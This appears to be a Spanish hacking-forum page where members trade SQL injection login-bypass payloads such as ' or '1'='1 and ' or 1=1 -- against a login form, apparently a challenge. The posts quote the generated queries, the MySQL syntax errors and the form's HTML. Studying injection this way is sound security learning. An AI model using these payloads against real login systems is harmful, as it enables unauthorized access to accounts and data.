Cita de: kamsky en 7 Enero 2010, 15:28 PM
' or '1'='1
@kamsky una peticion con comillas múltiples de dos.... me valida, en canvio si escribo por ejemplo 1, 3 o 5 comillas me sale el error...
De todas formas gracias por la aportación

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúCita de: kamsky en 7 Enero 2010, 15:28 PM
' or '1'='1
Cita de: אครรเz en 7 Enero 2010, 12:50 PM
Prueba conCitar' or 1=1 --
con espacio al final ;-P
select `con` from basdat2 where `user`='' or 1=1 --';
You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
-- '123
select `con` from basdat2 where `user`='-- '123';
You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the right syntax to use near '123'' at line 1
Cita de: yoyahack en 6 Enero 2010, 21:05 PMestoy de acuerdo..... pero notifico esta respuesta del servidor por si sirve de algo:
ps al parecer el error se produce al intentar poner datos invalido, no mucho se puede hacer...
select `con` from basdat2 where `user`='' OR 1=1 //';
You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the right syntax to use near '/'' at line 1
<table cellpadding=0 cellspacing=0 border=0 style="width: 100%"><tbody>
<tr>
<td colspan="1" style="text-align: left;">
<form ACTION ="./" METHOD=POST>
<table cellpadding=0 cellspacing=0 border=0 style="width: 100%"><tbody>
<tr>
<td colspan="1" style="text-align: left;">
user </td>
<td colspan="1" style="text-align: left;">
<input type=text name=user value="" size=30 MAXLENGTH=255>
</td>
</tr>
<tr>
<td colspan="1" style="text-align: left;">
contrasenya </td>
<td colspan="1" style="text-align: left;">
<input type="password" name="contra" value="" size=30
MAXLENGTH=255 >
</td>
</tr>
<tr>
<td colspan="1" style="text-align: left; width: 2%;">
<input name="Entrar!" value="Entrar!" type="submit">
</td>
</tr>
</tbody></table>
</form>
select `con` from basdat2 where `user`=''';
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
<table cellpadding=0 cellspacing=0 border=0 style="width: 100%"><tbody>
<tr>
<td colspan="1" style="text-align: left;">
<form ACTION ="./" METHOD=POST>
<table cellpadding=0 cellspacing=0 border=0 style="width: 100%"><tbody>
<tr>
<td colspan="1" style="text-align: left;">
user </td>
<td colspan="1" style="text-align: left;">
<input type=text name=user value="" size=30 MAXLENGTH=255>
</td>
</tr>
<tr>
<td colspan="1" style="text-align: left;">
contrasenya </td>
<td colspan="1" style="text-align: left;">
<input type="password" name="contra" value="" size=30
MAXLENGTH=255 >
</td>
</tr>
<tr>
<td colspan="1" style="text-align: left; width: 2%;">
<input name="Entrar!" value="Entrar!" type="submit">
</td>
</tr>
</tbody></table>
</form>
select `con` from basdat2 where `user`=''hola';
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'hola'' at line 1
select `con` from basdat2 where `user`=''<<<>>>';
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '<>>>'' at line 1